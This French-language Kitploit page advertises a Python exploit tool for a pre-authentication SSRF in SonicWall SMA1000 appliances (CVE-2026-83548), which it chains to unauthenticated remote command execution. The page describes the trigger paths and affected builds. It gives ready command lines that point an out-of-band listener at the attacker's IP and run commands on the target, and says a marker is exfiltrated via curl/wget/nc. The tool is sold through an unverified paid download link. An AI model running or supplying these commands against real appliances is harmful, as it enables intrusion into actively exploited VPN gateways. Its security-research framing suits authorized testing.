Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-83548 — Outil Python monofichier qui identifie les appliances SonicWall SMA1000 Work Place, sonde et confirme la SSRF pré-authentification (CVE-2026-83548) via une capture hors bande, et enchaîne vers une RCE. | Kitploit
Outils/GitHubGitHub/maxprog-svg/cve-2026-83548
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionCheval de Troie d'Accès à Distance
GitHubmaxprog-svg/cve-2026-83548

CVE-2026-83548

Outil Python monofichier qui identifie les appliances SonicWall SMA1000 Work Place, sonde et confirme la SSRF pré-authentification (CVE-2026-83548) via une capture hors bande, et enchaîne vers une RCE.

Voir le dépôt
9il y a 14 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-83548 — SSRF pré-authentification dans SonicWall SMA1000 Work Place

Outil monofichier (Python 3, bibliothèque standard uniquement, zéro dépendance) pour évaluer et exploiter la SSRF de pré-authentification dans l'interface Work Place des appliances SonicWall SMA1000 (6210 / 7210 / 8200v), incluant une chaîne opportuniste vers une RCE non authentifiée via CVE-2026-83549.

La vulnérabilité

CVECVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0
ChaîneCVE-2026-83549 — injection de commandes OS dans l'AMC (post-auth), contournée via la SSRF
MécanismeL'interface Work Place se comporte comme un proxy direct involontaire : l'appliance transmet des requêtes forgées vers des ressources internes (y compris l'AMC) en utilisant sa propre position réseau privilégiée, sans aucune authentification requise à aucune étape
AffectéSMA1000 ≤ 12.4.3-03453 et ≤ 12.5.0-02835
Corrigé12.4.3-03526 / 12.5.0-02952 (avis SonicWall SNWLID-2026-0016)
StatutExploitée activement dans la nature ; CISA KEV depuis le 2026-09-02 ; aucun contournement — correctif uniquement

Ce que fait l'outil (étapes)

  • [A] Empreinte + état du correctif — GET en lecture seule de la racine du portail Work Place : bannière Server: SMA/*, ressources __extraweb__, version extraite des liens d'aide ; classification par rapport aux builds corrigés (PATCHED / AFFECTED / POTENTIELLEMENT_AFFECTÉ / NOT_SMA1000).
  • [B] Sondage des vecteurs SSRF — teste un ensemble candidat de vecteurs de déclenchement SSRF (y compris le chemin de relais /cgi-bin/ et la forme « URI absolue comme chemin » du proxy direct) et évalue les anomalies par rapport à une référence : changement de code de statut, écart de latence, nouveaux en-têtes de réponse, écart de corps. Les vecteurs fournis par l'opérateur sont acceptés via --vector (répétable).
  • [C] Confirmation hors bande — démarre un écouteur de capture local et pointe le meilleur vecteur vers celui-ci. Une requête capturée (méthode/en-têtes/User-Agent transmis) prouve que l'appliance a transmis la requête — la vulnérabilité réelle, et non un artefact de timing.
  • [D] Chaîne RCE (CVE-2026-83549) — tentative opportuniste d'injection de commandes contre l'AMC via le relais SSRF confirmé, avec exfiltration d'un marqueur via curl/wget/nc. La confirmation nécessite une capture hors bande.

Démarrage rapide

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — l'IP depuis laquelle l'appliance doit pouvoir atteindre votre listener de capture (127.0.0.1 pour les vérifications locales ; une adresse visible sur le réseau plus une redirection de port pour le distant). Sans cela, l'outil devine une IP locale, ce qui ne fonctionne souvent pas dans les configurations conteneurs/VPN.

Codes de sortie

CodeSignification
0corrigé / non affecté
1affecté par la version, ou SSRF confirmé, ou ligne de firmware affectée avec build exact indéterminé
2RCE non authentifié confirmé (chaîne réussie)
3la cible n'est pas un portail SMA1000 Work Place
4erreur de connexion/autre

Limitations (à lire)

  1. L'étape D est opportuniste : la confirmation nécessite une capture hors bande ; son absence ne constitue pas une réfutation.
  2. La capture OOB exige que l'appliance puisse atteindre votre listener (même L2 / redirection de port / VPN). Un timeout de capture ≠ SSRF réfuté.
  3. Verdict de version : l'appliance n'expose généralement que sa ligne de firmware (par ex. 12.5.0) en externe, pas le build de hotfix exact — le résultat courant est POTENTIALLY_AFFECTED, ce qui nécessite de confirmer le build sur l'appliance elle-même.
  4. Les étapes B–D envoient des requêtes à la cible par conception ; à utiliser uniquement contre des hôtes que vous possédez ou que vous êtes explicitement autorisé à tester.

https://satoshidisk.com/pay/CShhL9

Télécharger l’outil